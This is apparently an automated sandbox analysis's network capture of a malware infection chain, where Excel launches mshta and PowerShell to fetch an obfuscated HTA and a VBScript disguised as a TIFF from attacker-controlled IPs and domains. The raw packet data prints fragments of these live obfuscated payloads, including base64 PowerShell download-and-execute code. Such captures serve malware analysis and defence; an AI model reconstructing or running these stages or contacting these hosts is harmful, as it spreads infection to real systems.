Nov 18, 2024 18:22:16.265002966 CET	192.168.2.22	8.8.8.8	0xee6b	Standard query (0)	1017.filemail.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:40.965764046 CET	192.168.2.22	8.8.8.8	0x622a	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:41.183686018 CET	192.168.2.22	8.8.8.8	0xa59f	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:56.758173943 CET	192.168.2.22	8.8.8.8	0xc6dd	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:57.451922894 CET	192.168.2.22	8.8.8.8	0x1333	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 18:21:28.882519007 CET	8.8.8.8	192.168.2.22	0x2ada	No error (0)	link.uebie.de		5.45.108.48	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:21:31.312345982 CET	8.8.8.8	192.168.2.22	0x69d5	No error (0)	link.uebie.de		5.45.108.48	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:21:53.234504938 CET	8.8.8.8	192.168.2.22	0x5109	No error (0)	1017.filemail.com	ip.1017.filemail.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 18:21:53.234504938 CET	8.8.8.8	192.168.2.22	0x5109	No error (0)	ip.1017.filemail.com		142.215.209.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:21:53.258137941 CET	8.8.8.8	192.168.2.22	0x75d6	No error (0)	1017.filemail.com	ip.1017.filemail.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 18:21:53.258137941 CET	8.8.8.8	192.168.2.22	0x75d6	No error (0)	ip.1017.filemail.com		142.215.209.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:21:57.302972078 CET	8.8.8.8	192.168.2.22	0x4ff	No error (0)	link.uebie.de		5.45.108.48	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:16.261893034 CET	8.8.8.8	192.168.2.22	0xdc80	No error (0)	1017.filemail.com	ip.1017.filemail.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 18:22:16.261893034 CET	8.8.8.8	192.168.2.22	0xdc80	No error (0)	ip.1017.filemail.com		142.215.209.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:16.275073051 CET	8.8.8.8	192.168.2.22	0xee6b	No error (0)	1017.filemail.com	ip.1017.filemail.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 18:22:16.275073051 CET	8.8.8.8	192.168.2.22	0xee6b	No error (0)	ip.1017.filemail.com		142.215.209.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:41.072778940 CET	8.8.8.8	192.168.2.22	0x622a	No error (0)	prolinice.ga		46.173.214.24	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:41.191252947 CET	8.8.8.8	192.168.2.22	0xa59f	No error (0)	prolinice.ga		46.173.214.24	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:57.112112045 CET	8.8.8.8	192.168.2.22	0xc6dd	No error (0)	prolinice.ga		46.173.214.24	A (IP address)	IN (0x0001)	false
Nov 18, 2024 18:22:57.557776928 CET	8.8.8.8	192.168.2.22	0x1333	No error (0)	prolinice.ga		46.173.214.24	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

link.uebie.de

1017.filemail.com

107.172.44.178

ashjidrdhauflvyw.net

prolinice.ga

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	107.172.44.178	80	3224	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 18:21:30.249327898 CET	398	OUT	GET /53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 107.172.44.178 Connection: Keep-Alive
Nov 18, 2024 18:21:30.915465117 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 17:21:30 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 18 Nov 2024 01:50:06 GMT ETag: "2c929-6272622c7ca10" Accept-Ranges: bytes Content-Length: 182569 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 4a 61 76 61 53 63 72 69 70 74 3e 6d 3d 27 25 33 43 73 63 72 69 70 74 25 33 45 25 30 41 25 33 43 25 32 31 2d 2d 25 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 38 75 6e 65 73 63 61 70 65 25 32 38 25 32 32 25 32 35 33 43 73 63 72 69 70 74 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 35 32 31 2d 2d 25 32 35 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 35 32 38 75 6e 65 73 63 61 70 65 25 32 35 32 38 25 32 35 32 32 25 32 35 32 35 33 43 73 63 72 69 70 74 25 32 35 32 35 33 45 25 32 35 32 35 30 41 25 32 35 32 35 33 43 25 32 35 32 35 32 31 2d 2d 25 32 35 32 35 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 35 32 35 32 38 75 6e 65 73 63 61 70 65 25 32 35 32 35 32 38 25 32 35 32 35 32 32 25 32 35 32 35 32 35 33 43 25 32 35 32 35 32 35 32 31 44 4f 43 54 59 50 45 25 32 35 32 35 32 35 32 30 68 74 6d 6c 25 32 35 32 35 32 35 33 45 25 32 35 32 35 32 35 30 41 25 32 35 32 35 32 35 33 43 6d 65 74 61 25 32 35 32 35 32 35 32 30 68 74 74 70 [TRUNCATED] Data Ascii: <script language=JavaScript>m='%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%253Cscript%253E%250A%253C%2521--%250Adocument.write%2528unescape%2528%2522%25253Cscript%25253E%25250A%25253C%252521--%25250Adocument.write%252528unescape%252528%252522%2525253C%25252521DOCTYPE%25252520html%2525253E%2525250A%2525253Cmeta%25252520http-equiv%2525253D%25252522X-UA-Compatible%25252522%25252520content%2525253D%25252522IE%2525253DEmulateIE8%25252522%25252520%2525253E%2525250A%2525253Chtml%2525253E%2525250A%2525253Cbody%2525253E%2525250A%2525253CsCRipt%25252520TYPE%2525253D%25252522TExt/vbsCrIpt%25252522%2525253E%2525250AdIM%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509
Nov 18, 2024 18:21:30.915544033 CET	224	IN	Data Raw: 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 Data Ascii: %25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%2525250
Nov 18, 2024 18:21:30.915555000 CET	1236	IN	Data Raw: 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 Data Ascii: 9%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%2525250
Nov 18, 2024 18:21:30.915592909 CET	1236	IN	Data Raw: 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 Data Ascii: 5252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%2
Nov 18, 2024 18:21:30.915606976 CET	424	IN	Data Raw: 32 35 30 39 25 32 35 32 35 32 35 30 39 71 55 72 6b 59 54 56 68 71 76 4f 72 4e 76 64 52 6e 5a 6b 63 63 48 45 70 76 78 48 52 57 51 66 62 50 67 43 50 43 5a 63 74 51 75 72 6a 47 79 58 67 49 67 53 56 59 71 67 56 54 6c 59 61 5a 55 62 50 50 64 56 68 68 Data Ascii: 2509%25252509qUrkYTVhqvOrNvdRnZkccHEpvxHRWQfbPgCPCZctQurjGyXgIgSVYqgVTlYaZUbPPdVhhoTLifWhxScaxoKydNGSCCSLIuWVfszgcVXGglGeCNUVxgNGFgHDmesUmyrLzHoJBbOyzsvXipZnvodpTCJvMAyvYoPJMFsJUQVJcktGEJVwhxHthkpQPxnkiZQiGTKduuUHDvzagaiRumCOKnakkELieNWFWguLrW
Nov 18, 2024 18:21:30.915630102 CET	1236	IN	Data Raw: 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 Data Ascii: 509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252
Nov 18, 2024 18:21:30.915643930 CET	248	IN	Data Raw: 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 Data Ascii: %25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509
Nov 18, 2024 18:21:30.915654898 CET	1236	IN	Data Raw: 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 Data Ascii: 2509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%2525
Nov 18, 2024 18:21:30.915683985 CET	1236	IN	Data Raw: 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 Data Ascii: 9%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%2525252C%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%2525250
Nov 18, 2024 18:21:30.915700912 CET	424	IN	Data Raw: 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 Data Ascii: 5252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%2
Nov 18, 2024 18:21:30.920734882 CET	1236	IN	Data Raw: 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 Data Ascii: 252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	107.172.44.178	80	3544	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 18:21:32.795922995 CET	475	OUT	GET /53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Range: bytes=8896- Connection: Keep-Alive Host: 107.172.44.178 If-Range: "2c929-6272622c7ca10"
Nov 18, 2024 18:21:33.487416983 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Mon, 18 Nov 2024 17:21:33 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 18 Nov 2024 01:50:06 GMT ETag: "2c929-6272622c7ca10" Accept-Ranges: bytes Content-Length: 173673 Content-Range: bytes 8896-182568/182569 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 [TRUNCATED] Data Ascii: 509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252
Nov 18, 2024 18:21:33.487498045 CET	1236	IN	Data Raw: 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: 52509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509LeJfEyNpTpulRvvyFVNiAuWXCxDVjmubpFoKEhKCWMtCmkeqxpVLOUEJpvdnFDDZVrDzoboihXlxeVkdQqvBAoNelfFOMcEKChRFiBmPBTmgUZDtNUANkZlTrywHfclOpXrmPdvgguK
Nov 18, 2024 18:21:33.487519979 CET	1236	IN	Data Raw: 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 Data Ascii: 09%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252525
Nov 18, 2024 18:21:33.487843037 CET	1236	IN	Data Raw: 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 Data Ascii: 25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%
Nov 18, 2024 18:21:33.487879038 CET	1236	IN	Data Raw: 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: 52509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252
Nov 18, 2024 18:21:33.487899065 CET	1236	IN	Data Raw: 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 Data Ascii: 09%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252525
Nov 18, 2024 18:21:33.488842964 CET	1236	IN	Data Raw: 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 Data Ascii: 25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509seT%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252525
Nov 18, 2024 18:21:33.488862991 CET	1236	IN	Data Raw: 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 Data Ascii: 25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%
Nov 18, 2024 18:21:33.488897085 CET	1236	IN	Data Raw: 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 Data Ascii: 52509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252
Nov 18, 2024 18:21:33.489988089 CET	1236	IN	Data Raw: 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 Data Ascii: 09%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%252525
Nov 18, 2024 18:21:33.492578030 CET	1236	IN	Data Raw: 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 35 32 35 32 35 30 39 25 32 Data Ascii: 25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49165	107.172.44.178	80	3648	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 18:21:43.137197971 CET	379	OUT	GET /53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 107.172.44.178 Connection: Keep-Alive
Nov 18, 2024 18:21:43.833477020 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 17:21:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 18 Nov 2024 01:46:22 GMT ETag: "227fc-62726156f5f6d" Accept-Ranges: bytes Content-Length: 141308 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 0d 00 0a 00 0d 00 0a 00 46 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 65 00 6e 00 67 00 6f 00 6d 00 61 00 64 00 65 00 6c 00 61 00 28 00 42 00 79 00 56 00 61 00 6c 00 20 00 63 00 6f 00 72 00 6e 00 6f 00 66 00 6f 00 6e 00 65 00 2c 00 20 00 42 00 79 00 56 00 61 00 6c 00 20 00 6d 00 6f 00 71 00 75 00 65 00 6e 00 63 00 6f 00 2c 00 20 00 42 00 79 00 56 00 61 00 6c 00 20 00 61 00 70 00 72 00 65 00 73 00 61 00 72 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 44 00 69 00 6d 00 20 00 61 00 73 00 73 00 65 00 6e 00 74 00 69 00 6d 00 65 00 6e 00 74 00 6f 00 0d 00 0a 00 20 00 20 00 20 00 20 00 61 00 73 00 73 00 65 00 6e 00 74 00 69 00 6d 00 65 00 6e 00 74 00 6f 00 20 00 3d 00 20 00 49 00 6e 00 53 00 74 00 72 00 28 00 63 00 6f 00 72 00 6e 00 6f 00 66 00 6f 00 6e 00 65 00 2c 00 20 00 6d 00 6f 00 71 00 75 00 65 00 6e 00 63 00 6f 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 0d 00 0a 00 20 00 20 00 20 00 20 00 44 00 6f 00 20 00 57 00 68 00 69 00 6c 00 65 00 20 00 61 00 73 00 73 00 65 00 6e 00 74 00 69 00 [TRUNCATED] Data Ascii: Function engomadela(ByVal cornofone, ByVal moquenco, ByVal apresar) Dim assentimento assentimento = InStr(cornofone, moquenco) Do While assentimento > 0 cornofone = Left(cornofone, assentimento - 1) & apresar & Mid(cornofone, assentimento + Len(moquenco)) assentimento = InStr(assentimento + Len(apresar), cornofone, moquenco) Loop engomadela = cornofoneEnd Functionprivate function ReadStdIn(
Nov 18, 2024 18:21:43.833553076 CET	1236	IN	Data Raw: 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 77 00 68 00 69 00 6c 00 65 00 20 00 4e 00 6f 00 74 00 20 00 73 00 74 00 64 00 49 00 6e 00 2e 00 41 00 74 00 45 00 6e 00 64 00 4f 00 66 00 53 00 74 00 72 00 65 00 61 00 6d 00 0d 00 0a 00 20 00 20 00 20 Data Ascii: ) while Not stdIn.AtEndOfStream ReadStdIn = ReadStdIn & stdIn.ReadAll wendend functionIf Not f
Nov 18, 2024 18:21:43.833590984 CET	1236	IN	Data Raw: 00 6d 00 70 00 6c 00 59 00 33 00 4b 00 58 00 4e 00 56 00 46 00 43 00 52 00 50 00 4a 00 53 00 4c 00 55 00 51 00 4d 00 44 00 51 00 67 00 55 00 33 00 6c 00 7a 00 64 00 47 00 56 00 74 00 4c 00 6b 00 35 00 6c 00 64 00 43 00 4b 00 58 00 4e 00 56 00 46 Data Ascii: mplY3KXNVFCRPJSLUQMDQgU3lzdGVtLk5ldCKXNVFCRPJSLUQMD5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9h
Nov 18, 2024 18:21:43.833975077 CET	1236	IN	Data Raw: 00 56 00 34 00 54 00 32 00 59 00 6f 00 63 00 32 00 56 00 5a 00 5a 00 57 00 35 00 6b 00 52 00 6d 00 78 00 68 00 5a 00 79 00 6b 00 37 00 63 00 79 00 63 00 72 00 4a 00 32 00 56 00 5a 00 63 00 33 00 52 00 68 00 63 00 6e 00 52 00 4a 00 62 00 6d 00 52 Data Ascii: V4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIH" engordamento = engordamento & "NlWWVuZEluZGV4IC1nd
Nov 18, 2024 18:21:43.834009886 CET	848	IN	Data Raw: 00 4d 00 6e 00 42 00 50 00 49 00 45 00 5a 00 76 00 63 00 6b 00 55 00 6e 00 4b 00 79 00 64 00 68 00 59 00 32 00 67 00 74 00 54 00 32 00 4a 00 71 00 5a 00 57 00 4e 00 30 00 49 00 48 00 4b 00 58 00 4e 00 56 00 46 00 43 00 52 00 50 00 4a 00 53 00 4c Data Ascii: MnBPIEZvckUnKydhY2gtT2JqZWN0IHKXNVFCRPJSLUQMDsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlKXNVFCRPJSLUQMDNjRDb21tYW5kLkxlbmd0aCldO3N
